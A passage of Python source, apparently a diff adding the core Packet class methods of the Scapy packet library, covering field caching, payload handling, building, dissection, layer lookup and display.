self._resolve_alias(fname) + self.fields[fname] = self.get_field(fname).any2i(self, value) + continue + raise AttributeError(fname) + if isinstance(post_transform, list): + self.post_transforms = post_transform + elif post_transform is None: + self.post_transforms = [] + else: + self.post_transforms = [post_transform] + + def init_fields(self): + """ + Initialize each fields of the fields_desc dict + """ + + if self.class_dont_cache.get(self.__class__, False): + self.do_init_fields(self.fields_desc) + else: + self.do_init_cached_fields() + + def do_init_fields(self, flist): + """ + Initialize each fields of the fields_desc dict + """ + default_fields = {} + for f in flist: + default_fields[f.name] = copy.deepcopy(f.default) + self.fieldtype[f.name] = f + if f.holds_packets: + self.packetfields.append(f) + # We set default_fields last to avoid race issues + self.default_fields = default_fields + + def do_init_cached_fields(self): + """ + Initialize each fields of the fields_desc dict, or use the cached + fields information + """ + + cls_name = self.__class__ + + # Build the fields information + if Packet.class_default_fields.get(cls_name, None) is None: + self.prepare_cached_fields(self.fields_desc) + + # Use fields information from cache + default_fields = Packet.class_default_fields.get(cls_name, None) + if default_fields: + self.default_fields = default_fields + self.fieldtype = Packet.class_fieldtype[cls_name] + self.packetfields = Packet.class_packetfields[cls_name] + + # Deepcopy default references + for fname in Packet.class_default_fields_ref[cls_name]: + value = self.default_fields[fname] + try: + self.fields[fname] = value.copy() + except AttributeError: + # Python 2.7 - list only + self.fields[fname] = value[:] + + def prepare_cached_fields(self, flist): + """ + Prepare the cached fields of the fields_desc dict + """ + + cls_name = self.__class__ + + # Fields cache initialization + if not flist: + return + + class_default_fields = dict() + class_default_fields_ref = list() + class_fieldtype = dict() + class_packetfields = list() + + # Fields initialization + for f in flist: + if isinstance(f, MultipleTypeField): + # Abort + self.class_dont_cache[cls_name] = True + self.do_init_fields(self.fields_desc) + return + + tmp_copy = copy.deepcopy(f.default) + class_default_fields[f.name] = tmp_copy + class_fieldtype[f.name] = f + if f.holds_packets: + class_packetfields.append(f) + + # Remember references + if isinstance(f.default, (list, dict, set, RandField, Packet)): + class_default_fields_ref.append(f.name) + + # Apply + Packet.class_default_fields_ref[cls_name] = class_default_fields_ref + Packet.class_fieldtype[cls_name] = class_fieldtype + Packet.class_packetfields[cls_name] = class_packetfields + # Last to avoid racing issues + Packet.class_default_fields[cls_name] = class_default_fields + + def dissection_done(self, pkt): + """DEV: will be called after a dissection is completed""" + self.post_dissection(pkt) + self.payload.dissection_done(pkt) + + def post_dissection(self, pkt): + """DEV: is called after the dissection of the whole packet""" + pass + + def get_field(self, fld): + """DEV: returns the field instance from the name of the field""" + return self.fieldtype[fld] + + def add_payload(self, payload): + if payload is None: + return + elif not isinstance(self.payload, NoPayload): + self.payload.add_payload(payload) + else: + if isinstance(payload, Packet): + self.payload = payload + payload.add_underlayer(self) + for t in self.aliastypes: + if t in payload.overload_fields: + self.overloaded_fields = payload.overload_fields[t] + break + elif isinstance(payload, bytes): + self.payload = conf.raw_layer(load=payload) + else: + raise TypeError("payload must be either 'Packet' or 'bytes', not [%s]" % repr(payload)) # noqa: E501 + + def remove_payload(self): + self.payload.remove_underlayer(self) + self.payload = NoPayload() + self.overloaded_fields = {} + + def add_underlayer(self, underlayer): + self.underlayer = underlayer + + def remove_underlayer(self, other): + self.underlayer = None + + def copy(self): + """Returns a deep copy of the instance.""" + clone = self.__class__() + clone.fields = self.copy_fields_dict(self.fields) + clone.default_fields = self.copy_fields_dict(self.default_fields) + clone.overloaded_fields = self.overloaded_fields.copy() + clone.underlayer = self.underlayer + clone.explicit = self.explicit + clone.raw_packet_cache = self.raw_packet_cache + clone.raw_packet_cache_fields = self.copy_fields_dict( + self.raw_packet_cache_fields + ) + clone.wirelen = self.wirelen + clone.post_transforms = self.post_transforms[:] + clone.payload = self.payload.copy() + clone.payload.add_underlayer(clone) + clone.time = self.time + return clone + + def _resolve_alias(self, attr): + new_attr, version = self.deprecated_fields[attr] + warnings.warn( + "%s has been deprecated in favor of %s since %s !" % ( + attr, new_attr, version + ), DeprecationWarning + ) + return new_attr + + def getfieldval(self, attr): + if self.deprecated_fields and attr in self.deprecated_fields: + attr = self._resolve_alias(attr) + if attr in self.fields: + return self.fields[attr] + if attr in self.overloaded_fields: + return self.overloaded_fields[attr] + if attr in self.default_fields: + return self.default_fields[attr] + return self.payload.getfieldval(attr) + + def getfield_and_val(self, attr): + if self.deprecated_fields and attr in self.deprecated_fields: + attr = self._resolve_alias(attr) + if attr in self.fields: + return self.get_field(attr), self.fields[attr] + if attr in self.overloaded_fields: + return self.get_field(attr), self.overloaded_fields[attr] + if attr in self.default_fields: + return self.get_field(attr), self.default_fields[attr] + + def __getattr__(self, attr): + try: + fld, v = self.getfield_and_val(attr) + except TypeError: + return self.payload.__getattr__(attr) + if fld is not None: + return fld.i2h(self, v) + return v + + def setfieldval(self, attr, val): + if self.deprecated_fields and attr in self.deprecated_fields: + attr = self._resolve_alias(attr) + if attr in self.default_fields: + fld = self.get_field(attr) + if fld is None: + any2i = lambda x, y: y + else: + any2i = fld.any2i + self.fields[attr] = any2i(self, val) + self.explicit = 0 + self.raw_packet_cache = None + self.raw_packet_cache_fields = None + self.wirelen = None + elif attr == "payload": + self.remove_payload() + self.add_payload(val) + else: + self.payload.setfieldval(attr, val) + + def __setattr__(self, attr, val): + if attr in self.__all_slots__: + if attr == "sent_time": + self.update_sent_time(val) + return object.__setattr__(self, attr, val) + try: + return self.setfieldval(attr, val) + except AttributeError: + pass + return object.__setattr__(self, attr, val) + + def delfieldval(self, attr): + if attr in self.fields: + del(self.fields[attr]) + self.explicit = 0 # in case a default value must be explicit + self.raw_packet_cache = None + self.raw_packet_cache_fields = None + self.wirelen = None + elif attr in self.default_fields: + pass + elif attr == "payload": + self.remove_payload() + else: + self.payload.delfieldval(attr) + + def __delattr__(self, attr): + if attr == "payload": + return self.remove_payload() + if attr in self.__all_slots__: + return object.__delattr__(self, attr) + try: + return self.delfieldval(attr) + except AttributeError: + pass + return object.__delattr__(self, attr) + + def _superdir(self): + """ + Return a list of slots and methods, including those from subclasses. + """ + attrs = set() + cls = self.__class__ + if hasattr(cls, '__all_slots__'): + attrs.update(cls.__all_slots__) + for bcls in cls.__mro__: + if hasattr(bcls, '__dict__'): + attrs.update(bcls.__dict__) + return attrs + + def __dir__(self): + """ + Add fields to tab completion list. + """ + return sorted(itertools.chain(self._superdir(), self.default_fields)) + + def __repr__(self): + s = "" + ct = conf.color_theme + for f in self.fields_desc: + if isinstance(f, ConditionalField) and not f._evalcond(self): + continue + if f.name in self.fields: + fval = self.fields[f.name] + if isinstance(fval, (list, dict, set)) and len(fval) == 0: + continue + val = f.i2repr(self, fval) + elif f.name in self.overloaded_fields: + fover = self.overloaded_fields[f.name] + if isinstance(fover, (list, dict, set)) and len(fover) == 0: + continue + val = f.i2repr(self, fover) + else: + continue + if isinstance(f, Emph) or f in conf.emph: + ncol = ct.emph_field_name + vcol = ct.emph_field_value + else: + ncol = ct.field_name + vcol = ct.field_value + + s += " %s%s%s" % (ncol(f.name), + ct.punct("="), + vcol(val)) + return "%s%s %s %s%s%s" % (ct.punct("<"), + ct.layer_name(self.__class__.__name__), + s, + ct.punct("|"), + repr(self.payload), + ct.punct(">")) + + if six.PY2: + def __str__(self): + return self.build() + else: + def __str__(self): + warning("Calling str(pkt) on Python 3 makes no sense!") + return str(self.build()) + + def __bytes__(self): + return self.build() + + def __div__(self, other): + if isinstance(other, Packet): + cloneA = self.copy() + cloneB = other.copy() + cloneA.add_payload(cloneB) + return cloneA + elif isinstance(other, (bytes, str)): + return self / conf.raw_layer(load=other) + else: + return other.__rdiv__(self) + __truediv__ = __div__ + + def __rdiv__(self, other): + if isinstance(other, (bytes, str)): + return conf.raw_layer(load=other) / self + else: + raise TypeError + __rtruediv__ = __rdiv__ + + def __mul__(self, other): + if isinstance(other, int): + return [self] * other + else: + raise TypeError + + def __rmul__(self, other): + return self.__mul__(other) + + def __nonzero__(self): + return True + __bool__ = __nonzero__ + + def __len__(self): + return len(self.__bytes__()) + + def copy_field_value(self, fieldname, value): + return self.get_field(fieldname).do_copy(value) + + def copy_fields_dict(self, fields): + if fields is None: + return None + return {fname: self.copy_field_value(fname, fval) + for fname, fval in six.iteritems(fields)} + + def clear_cache(self): + """Clear the raw packet cache for the field and all its subfields""" + self.raw_packet_cache = None + for fld, fval in six.iteritems(self.fields): + fld = self.get_field(fld) + if fld.holds_packets: + if isinstance(fval, Packet): + fval.clear_cache() + elif isinstance(fval, list): + for fsubval in fval: + fsubval.clear_cache() + self.payload.clear_cache() + + def self_build(self, field_pos_list=None): + """ + Create the default layer regarding fields_desc dict + + :param field_pos_list: + """ + if self.raw_packet_cache is not None: + for fname, fval in six.iteritems(self.raw_packet_cache_fields): + if self.getfieldval(fname) != fval: + self.raw_packet_cache = None + self.raw_packet_cache_fields = None + self.wirelen = None + break + if self.raw_packet_cache is not None: + return self.raw_packet_cache + p = b"" + for f in self.fields_desc: + val = self.getfieldval(f.name) + if isinstance(val, RawVal): + sval = raw(val) + p += sval + if field_pos_list is not None: + field_pos_list.append((f.name, sval.encode("string_escape"), len(p), len(sval))) # noqa: E501 + else: + p = f.addfield(self, p, val) + return p + + def do_build_payload(self): + """ + Create the default version of the payload layer + + :return: a string of payload layer + """ + return self.payload.do_build() + + def do_build(self): + """ + Create the default version of the layer + + :return: a string of the packet with the payload + """ + if not self.explicit: + self = next(iter(self)) + pkt = self.self_build() + for t in self.post_transforms: + pkt = t(pkt) + pay = self.do_build_payload() + if self.raw_packet_cache is None: + return self.post_build(pkt, pay) + else: + return pkt + pay + + def build_padding(self): + return self.payload.build_padding() + + def build(self): + """ + Create the current layer + + :return: string of the packet with the payload + """ + p = self.do_build() + p += self.build_padding() + p = self.build_done(p) + return p + + def post_build(self, pkt, pay): + """ + DEV: called right after the current layer is build. + + :param str pkt: the current packet (build by self_buil function) + :param str pay: the packet payload (build by do_build_payload function) + :return: a string of the packet with the payload + """ + return pkt + pay + + def build_done(self, p): + return self.payload.build_done(p) + + def do_build_ps(self): + p = b"" + pl = [] + q = b"" + for f in self.fields_desc: + if isinstance(f, ConditionalField) and not f._evalcond(self): + continue + p = f.addfield(self, p, self.getfieldval(f.name)) + if isinstance(p, bytes): + r = p[len(q):] + q = p + else: + r = b"" + pl.append((f, f.i2repr(self, self.getfieldval(f.name)), r)) + + pkt, lst = self.payload.build_ps(internal=1) + p += pkt + lst.append((self, pl)) + + return p, lst + + def build_ps(self, internal=0): + p, lst = self.do_build_ps() +# if not internal: +# pkt = self +# while pkt.haslayer(conf.padding_layer): +# pkt = pkt.getlayer(conf.padding_layer) +# lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) +# p += pkt.load +# pkt = pkt.payload + return p, lst + + def canvas_dump(self, layer_shift=0, rebuild=1): + if PYX == 0: + raise ImportError("PyX and its dependencies must be installed") + canvas = pyx.canvas.canvas() + if rebuild: + _, t = self.__class__(raw(self)).build_ps() + else: + _, t = self.build_ps() + YTXT = len(t) + for _, l in t: + YTXT += len(l) + YTXT = float(YTXT) + YDUMP = YTXT + + XSTART = 1 + XDSTART = 10 + y = 0.0 + yd = 0.0 + XMUL = 0.55 + YMUL = 0.4 + + backcolor = colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) + forecolor = colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) +# backcolor=makecol(0.376, 0.729, 0.525, 1.0) + + def hexstr(x): + return " ".join("%02x" % orb(c) for c in x) + + def make_dump_txt(x, y, txt): + return pyx.text.text(XDSTART + x * XMUL, (YDUMP - y) * YMUL, r"\tt{%s}" % hexstr(txt), [pyx.text.size.Large]) # noqa: E501 + + def make_box(o): + return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5, 0.5)) # noqa: E501 + + def make_frame(lst): + if len(lst) == 1: + b = lst[0].bbox() + b.enlarge(pyx.unit.u_pt) + return b.path() + else: + fb = lst[0].bbox() + fb.enlarge(pyx.unit.u_pt) + lb = lst[-1].bbox() + lb.enlarge(pyx.unit.u_pt) + if len(lst) == 2 and fb.left() > lb.right(): + return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), + pyx.path.lineto(fb.left(), fb.top()), + pyx.path.lineto(fb.left(), fb.bottom()), # noqa: E501 + pyx.path.lineto(fb.right(), fb.bottom()), # noqa: E501 + pyx.path.moveto(lb.left(), lb.top()), + pyx.path.lineto(lb.right(), lb.top()), + pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 + pyx.path.lineto(lb.left(), lb.bottom())) # noqa: E501 + else: + # XXX + gb = lst[1].bbox() + if gb != lb: + gb.enlarge(pyx.unit.u_pt) + kb = lst[-2].bbox() + if kb != gb and kb != lb: + kb.enlarge(pyx.unit.u_pt) + return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), + pyx.path.lineto(fb.right(), fb.top()), + pyx.path.lineto(fb.right(), kb.bottom()), # noqa: E501 + pyx.path.lineto(lb.right(), kb.bottom()), # noqa: E501 + pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 + pyx.path.lineto(lb.left(), lb.bottom()), # noqa: E501 + pyx.path.lineto(lb.left(), gb.top()), + pyx.path.lineto(fb.left(), gb.top()), + pyx.path.closepath(),) + + def make_dump(s, shift=0, y=0, col=None, bkcol=None, large=16): + c = pyx.canvas.canvas() + tlist = [] + while s: + dmp, s = s[:large - shift], s[large - shift:] + txt = make_dump_txt(shift, y, dmp) + tlist.append(txt) + shift += len(dmp) + if shift >= 16: + shift = 0 + y += 1 + if col is None: + col = pyx.color.rgb.red + if bkcol is None: + bkcol = pyx.color.rgb.white + c.stroke(make_frame(tlist), [col, pyx.deco.filled([bkcol]), pyx.style.linewidth.Thick]) # noqa: E501 + for txt in tlist: + c.insert(txt) + return c, tlist[-1].bbox(), shift, y + + last_shift, last_y = 0, 0.0 + while t: + bkcol = next(backcolor) + proto, fields = t.pop() + y += 0.5 + pt = pyx.text.text(XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(proto.name), [pyx.text.size.Large]) # noqa: E501 + y += 1 + ptbb = pt.bbox() + ptbb.enlarge(pyx.unit.u_pt * 2) + canvas.stroke(ptbb.path(), [pyx.color.rgb.black, pyx.deco.filled([bkcol])]) # noqa: E501 + canvas.insert(pt) + for field, fval, fdump in fields: + col = next(forecolor) + ft = pyx.text.text(XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(field.name)) # noqa: E501 + if isinstance(field, BitField): + fsize = '%sb' % field.size + else: + fsize = '%sB' % len(fdump) + if (hasattr(field, 'field') and + 'LE' in field.field.__class__.__name__[:3] or + 'LE' in field.__class__.__name__[:3]): + fsize = r'$\scriptstyle\langle$' + fsize + st = pyx.text.text(XSTART + 3.4, (YTXT - y) * YMUL, r"\font\cmbxfont=cmssbx10 scaled 600\cmbxfont{%s}" % fsize, [pyx.text.halign.boxright]) # noqa: E501 + if isinstance(fval, str): + if len(fval) > 18: + fval = fval[:18] + "[...]" + else: + fval = "" + vt = pyx.text.text(XSTART + 3.5, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) # noqa: E501 + y += 1.0 + if fdump: + dt, target, last_shift, last_y = make_dump(fdump, last_shift, last_y, col, bkcol) # noqa: E501 + + dtb = target + vtb = vt.bbox() + bxvt = make_box(vtb) + bxdt = make_box(dtb) + dtb.enlarge(pyx.unit.u_pt) + try: + if yd < 0: + cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=-90) # noqa: E501 + else: + cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=90) # noqa: E501 + except Exception: + pass + else: + canvas.stroke(cnx, [pyx.style.linewidth.thin, pyx.deco.earrow.small, col]) # noqa: E501 + + canvas.insert(dt) + + canvas.insert(ft) + canvas.insert(st) + canvas.insert(vt) + last_y += layer_shift + + return canvas + + def extract_padding(self, s): + """ + DEV: to be overloaded to extract current layer's padding. + + :param str s: the current layer + :return: a couple of strings (actual layer, padding) + """ + return s, None + + def post_dissect(self, s): + """DEV: is called right after the current layer has been dissected""" + return s + + def pre_dissect(self, s): + """DEV: is called right before the current layer is dissected""" + return s + + def do_dissect(self, s): + _raw = s + self.raw_packet_cache_fields = {} + for f in self.fields_desc: + if not s: + break + s, fval = f.getfield(self, s) + # We need to track fields with mutable values to discard + # .raw_packet_cache when needed. + if f.islist or f.holds_packets or f.ismutable: + self.raw_packet_cache_fields[f.name] = f.do_copy(fval) + self.fields[f.name] = fval + self.raw_packet_cache = _raw[:-len(s)] if s else _raw + self.explicit = 1 + return s + + def do_dissect_payload(self, s): + """ + Perform the dissection of the layer's payload + + :param str s: the raw layer + """ + if s: + cls = self.guess_payload_class(s) + try: + p = cls(s, _internal=1, _underlayer=self) + except KeyboardInterrupt: + raise + except Exception: + if conf.debug_dissector: + if issubtype(cls, Packet): + log_runtime.error("%s dissector failed" % cls.__name__) + else: + log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__, repr(cls))) # noqa: E501 + if cls is not None: + raise + p = conf.raw_layer(s, _internal=1, _underlayer=self) + self.add_payload(p) + + def dissect(self, s): + s = self.pre_dissect(s) + + s = self.do_dissect(s) + + s = self.post_dissect(s) + + payl, pad = self.extract_padding(s) + self.do_dissect_payload(payl) + if pad and conf.padding: + self.add_payload(conf.padding_layer(pad)) + + def guess_payload_class(self, payload): + """ + DEV: Guesses the next payload class from layer bonds. + Can be overloaded to use a different mechanism. + + :param str payload: the layer's payload + :return: the payload class + """ + for t in self.aliastypes: + for fval, cls in t.payload_guess: + try: + for k, v in six.iteritems(fval): + # case where v is a function + if callable(v): + if not v(self.getfieldval(k)): + break + elif v != self.getfieldval(k): + break + else: + return cls + except AttributeError: + pass + return self.default_payload_class(payload) + + def default_payload_class(self, payload): + """ + DEV: Returns the default payload class if nothing has been found by the + guess_payload_class() method. + + :param str payload: the layer's payload + :return: the default payload class define inside the configuration file + """ + return conf.raw_layer + + def hide_defaults(self): + """Removes fields' values that are the same as default values.""" + # use list(): self.fields is modified in the loop + for k, v in list(six.iteritems(self.fields)): + v = self.fields[k] + if k in self.default_fields: + if self.default_fields[k] == v: + del self.fields[k] + self.payload.hide_defaults() + + def update_sent_time(self, time): + """Use by clone_with to share the sent_time value""" + pass + + def clone_with(self, payload=None, share_time=False, **kargs): + pkt = self.__class__() + pkt.explicit = 1 + pkt.fields = kargs + pkt.default_fields = self.copy_fields_dict(self.default_fields) + pkt.overloaded_fields = self.overloaded_fields.copy() + pkt.time = self.time + pkt.underlayer = self.underlayer + pkt.post_transforms = self.post_transforms + pkt.raw_packet_cache = self.raw_packet_cache + pkt.raw_packet_cache_fields = self.copy_fields_dict( + self.raw_packet_cache_fields + ) + pkt.wirelen = self.wirelen + if payload is not None: + pkt.add_payload(payload) + if share_time: + # This binds the subpacket .sent_time to this layer + def _up_time(x, parent=self): + parent.sent_time = x + pkt.update_sent_time = _up_time + return pkt + + def __iter__(self): + """Iterates through all sub-packets generated by this Packet.""" + # We use __iterlen__ as low as possible, to lower processing time + def loop(todo, done, self=self): + if todo: + eltname = todo.pop() + elt = self.getfieldval(eltname) + if not isinstance(elt, Gen): + if self.get_field(eltname).islist: + elt = SetGen([elt]) + else: + elt = SetGen(elt) + for e in elt: + done[eltname] = e + for x in loop(todo[:], done): + yield x + else: + if isinstance(self.payload, NoPayload): + payloads = SetGen([None]) + else: + payloads = self.payload + share_time = False + if self.fields == done and payloads.__iterlen__() == 1: + # In this case, the packets are identical. Let's bind + # their sent_time attribute for sending purpose + share_time = True + for payl in payloads: + # Let's make sure subpackets are consistent + done2 = done.copy() + for k in done2: + if isinstance(done2[k], VolatileValue): + done2[k] = done2[k]._fix() + pkt = self.clone_with(payload=payl, share_time=share_time, + **done2) + yield pkt + + if self.explicit or self.raw_packet_cache is not None: + todo = [] + done = self.fields + else: + todo = [k for (k, v) in itertools.chain(six.iteritems(self.default_fields), # noqa: E501 + six.iteritems(self.overloaded_fields)) # noqa: E501 + if isinstance(v, VolatileValue)] + list(self.fields) + done = {} + return loop(todo, done) + + def __iterlen__(self): + """Predict the total length of the iterator""" + fields = [key for (key, val) in itertools.chain(six.iteritems(self.default_fields), # noqa: E501 + six.iteritems(self.overloaded_fields)) + if isinstance(val, VolatileValue)] + list(self.fields) + length = 1 + + def is_valid_gen_tuple(x): + if not isinstance(x, tuple): + return False + return len(x) == 2 and all(isinstance(z, int) for z in x) + + for field in fields: + fld, val = self.getfield_and_val(field) + if hasattr(val, "__iterlen__"): + length *= val.__iterlen__() + elif is_valid_gen_tuple(val): + length *= (val[1] - val[0] + 1) + elif isinstance(val, list) and not fld.islist: + len2 = 0 + for x in val: + if hasattr(x, "__iterlen__"): + len2 += x.__iterlen__() + elif is_valid_gen_tuple(x): + len2 += (x[1] - x[0] + 1) + elif isinstance(x, list): + len2 += len(x) + else: + len2 += 1 + length *= len2 or 1 + if not isinstance(self.payload, NoPayload): + return length * self.payload.__iterlen__() + return length + + def iterpayloads(self): + """Used to iter through the paylods of a Packet. + Useful for DNS or 802.11 for instance. + """ + yield self + current = self + while current.payload: + current = current.payload + yield current + + def __gt__(self, other): + """True if other is an answer from self (self ==> other).""" + if isinstance(other, Packet): + return other < self + elif isinstance(other, bytes): + return 1 + else: + raise TypeError((self, other)) + + def __lt__(self, other): + """True if self is an answer from other (other ==> self).""" + if isinstance(other, Packet): + return self.answers(other) + elif isinstance(other, bytes): + return 1 + else: + raise TypeError((self, other)) + + def __eq__(self, other): + if not isinstance(other, self.__class__): + return False + for f in self.fields_desc: + if f not in other.fields_desc: + return False + if self.getfieldval(f.name) != other.getfieldval(f.name): + return False + return self.payload == other.payload + + def __ne__(self, other): + return not self.__eq__(other) + + __hash__ = None + + def hashret(self): + """DEV: returns a string that has the same value for a request + and its answer.""" + return self.payload.hashret() + + def answers(self, other): + """DEV: true if self is an answer from other""" + if other.__class__ == self.__class__: + return self.payload.answers(other.payload) + return 0 + + def layers(self): + """returns a list of layer classes (including subclasses) in this packet""" # noqa: E501 + layers = [] + lyr = self + while lyr: + layers.append(lyr.__class__) + lyr = lyr.payload.getlayer(0, _subclass=True) + return layers + + def haslayer(self, cls, _subclass=None): + """ + true if self has a layer that is an instance of cls. + Superseded by "cls in self" syntax. + """ + if _subclass is None: + _subclass = self.match_subclass or None + if _subclass: + match = issubtype + else: + match = lambda cls1, cls2: cls1 == cls2 + if cls is None or match(self.__class__, cls) \ + or cls in [self.__class__.__name__, self._name]: + return True + for f in self.packetfields: + fvalue_gen = self.getfieldval(f.name) + if fvalue_gen is None: + continue + if not f.islist: + fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) + for fvalue in fvalue_gen: + if isinstance(fvalue, Packet): + ret = fvalue.haslayer(cls, _subclass=_subclass) + if ret: + return ret + return self.payload.haslayer(cls, _subclass=_subclass) + + def getlayer(self, cls, nb=1, _track=None, _subclass=None, **flt): + """Return the nb^th layer that is an instance of cls, matching flt +values. + """ + if _subclass is None: + _subclass = self.match_subclass or None + if _subclass: + match = issubtype + else: + match = lambda cls1, cls2: cls1 == cls2 + if isinstance(cls, int): + nb = cls + 1 + cls = None + if isinstance(cls, str) and "." in cls: + ccls, fld = cls.split(".", 1) + else: + ccls, fld = cls, None + if cls is None or match(self.__class__, cls) \ + or ccls in [self.__class__.__name__, self._name]: + if all(self.getfieldval(fldname) == fldvalue + for fldname, fldvalue in six.iteritems(flt)): + if nb == 1: + if fld is None: + return self + else: + return self.getfieldval(fld) + else: + nb -= 1 + for f in self.packetfields: + fvalue_gen = self.getfieldval(f.name) + if fvalue_gen is None: + continue + if not f.islist: + fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) + for fvalue in fvalue_gen: + if isinstance(fvalue, Packet): + track = [] + ret = fvalue.getlayer(cls, nb=nb, _track=track, + _subclass=_subclass, **flt) + if ret is not None: + return ret + nb = track[0] + return self.payload.getlayer(cls, nb=nb, _track=_track, + _subclass=_subclass, **flt) + + def firstlayer(self): + q = self + while q.underlayer is not None: + q = q.underlayer + return q + + def __getitem__(self, cls): + if isinstance(cls, slice): + lname = cls.start + if cls.stop: + ret = self.getlayer(cls.start, nb=cls.stop, **(cls.step or {})) + else: + ret = self.getlayer(cls.start, **(cls.step or {})) + else: + lname = cls + ret = self.getlayer(cls) + if ret is None: + if isinstance(lname, Packet_metaclass): + lname = lname.__name__ + elif not isinstance(lname, bytes): + lname = repr(lname) + raise IndexError("Layer [%s] not found" % lname) + return ret + + def __delitem__(self, cls): + del(self[cls].underlayer.payload) + + def __setitem__(self, cls, val): + self[cls].underlayer.payload = val + + def __contains__(self, cls): + """"cls in self" returns true if self has a layer which is an instance of cls.""" # noqa: E501 + return self.haslayer(cls) + + def route(self): + return self.payload.route() + + def fragment(self, *args, **kargs): + return self.payload.fragment(*args, **kargs) + + def display(self, *args, **kargs): # Deprecated. Use show() + """Deprecated. Use show() method.""" + self.show(*args, **kargs) + + def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True): # noqa: E501 + """ + Internal method that shows or dumps a hierarchical view of a packet. + Called by show. + + :param dump: determine if it prints or returns the string value + :param int indent: the size of indentation for each layer + :param str lvl: additional information about the layer lvl + :param str label_lvl: additional information about the layer fields + :param first_call: determine if the current function is the first + :return: return a hierarchical view if dump, else print it + """ + + if dump: + from scapy.themes import AnsiColorTheme + ct = AnsiColorTheme() # No color for dump output + else: + ct = conf.color_theme + s = "%s%s %s %s \n" % (label_lvl, + ct.punct("###["), + ct.layer_name(self.name), + ct.punct("]###")) + for f in self.fields_desc: + if isinstance(f, ConditionalField) and not f._evalcond(self): + continue + if isinstance(f, Emph) or f in conf.emph: + ncol = ct.emph_field_name + vcol = ct.emph_field_value + else: + ncol = ct.field_name + vcol = ct.field_value + fvalue = self.getfieldval(f.name) + if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and isinstance(fvalue, list)): # noqa: E501 + s += "%s \\%-10s\\\n" % (label_lvl + lvl, ncol(f.name)) + fvalue_gen = SetGen(fvalue, _iterpacket=0) + for fvalue in fvalue_gen: + s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl + lvl + " |", first_call=False) # noqa: E501 + else: + begn = "%s %-10s%s " % (label_lvl + lvl, + ncol(f.name), + ct.punct("="),) + reprval = f.i2repr(self, fvalue) + if isinstance(reprval, str): + reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + # noqa: E501 + len(lvl) + + len(f.name) + + 4)) + s += "%s%s\n" % (begn, vcol(reprval)) + if self.payload: + s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl + (" " * indent * self.show_indent), label_lvl=label_lvl, first_call=False) # noqa: E501 + + if first_call and not dump: + print(s) + else: + return s + + def show(self, dump=False, indent=3, lvl="", label_lvl=""): + """ + Prints or returns (when "dump" is true) a hierarchical view of the + packet. + + :param dump: determine if it prints or returns the string value + :param int indent: the size of indentation for each layer + :param str lvl: additional information about the layer lvl + :param str label_lvl: additional information about the layer fields + :return: return a hierarchical view if dump, else print it + """ + return self._show_or_dump(dump, indent, lvl, label_lvl) + + def show2(self, dump=False, indent=3, lvl="", label_lvl=""): + """ + Prints or returns (when "dump" is true) a hierarchical view of an + assembled version of the packet, so that automatic fields are + calculated (checksums, etc.) + + :param dump: determine if it prints or returns the string value + :param int indent: the size of indentation for each layer + :param str lvl: additional information about the layer lvl + :param str label_lvl: additional information about the layer fields + :return: return a hierarchical view if dump, else print it + """ + return self.__class__(raw(self)).show(dump, indent, lvl, label_lvl) + + def sprintf(self, fmt, relax=1): + """ + sprintf(format, [relax=1]) -> str + + Where format is a string that can include directives. A directive + begins and ends by % and has the following format: + ``%[fmt[r],][cls[:nb].]field%`` + + :param fmt: is a classic printf directive, "r" can be appended for raw + substitution: + (ex: IP.flags=0x18 instead of SA), nb is the number of the layer + (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). + Special case : "%.time%" is the creation time. + Ex:: + + p.sprintf( + "%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " + "%03xr,IP.proto% %r,TCP.flags%" + ) + + Moreover, the format string can include conditional statements. A + conditional statement looks like : {layer:string} where layer is a + layer name, and string is the string to insert in place of the + condition if it is true, i.e. if layer is present. If layer is + preceded by a "!", the result is inverted. Conditions can be + imbricated. A valid statement can be:: + + p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") + p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") + + A side effect is that, to obtain "{" and "}" characters, you must use + "%(" and "%)". + """ + + escape = {"%": "%", + "(": "{", + ")": "}"} + + # Evaluate conditions + while "{" in fmt: + i = fmt.rindex("{") + j = fmt[i + 1:].index("}") + cond = fmt[i + 1:i + j + 1] + k = cond.find(":") + if k < 0: + raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)" % cond) # noqa: E501 + cond, format_ = cond[:k], cond[k + 1:] + res = False + if cond[0] == "!": + res = True + cond = cond[1:] + if self.haslayer(cond): + res = not res + if not res: + format_ = "" + fmt = fmt[:i] + format_ + fmt[i + j + 2:] + + # Evaluate directives + s = "" + while "%" in fmt: + i = fmt.index("%") + s += fmt[:i] + fmt = fmt[i + 1:] + if fmt and fmt[0] in escape: + s += escape[fmt[0]] + fmt = fmt[1:] + continue + try: + i = fmt.index("%") + sfclsfld = fmt[:i] + fclsfld = sfclsfld.split(",") + if len(fclsfld) == 1: + f = "s" + clsfld = fclsfld[0] + elif len(fclsfld) == 2: + f, clsfld = fclsfld + else: + raise Scapy_Exception + if "." in clsfld: + cls, fld = clsfld.split(".") + else: + cls = self.__class__.__name__ + fld = clsfld + num = 1 + if ":" in cls: + cls, num 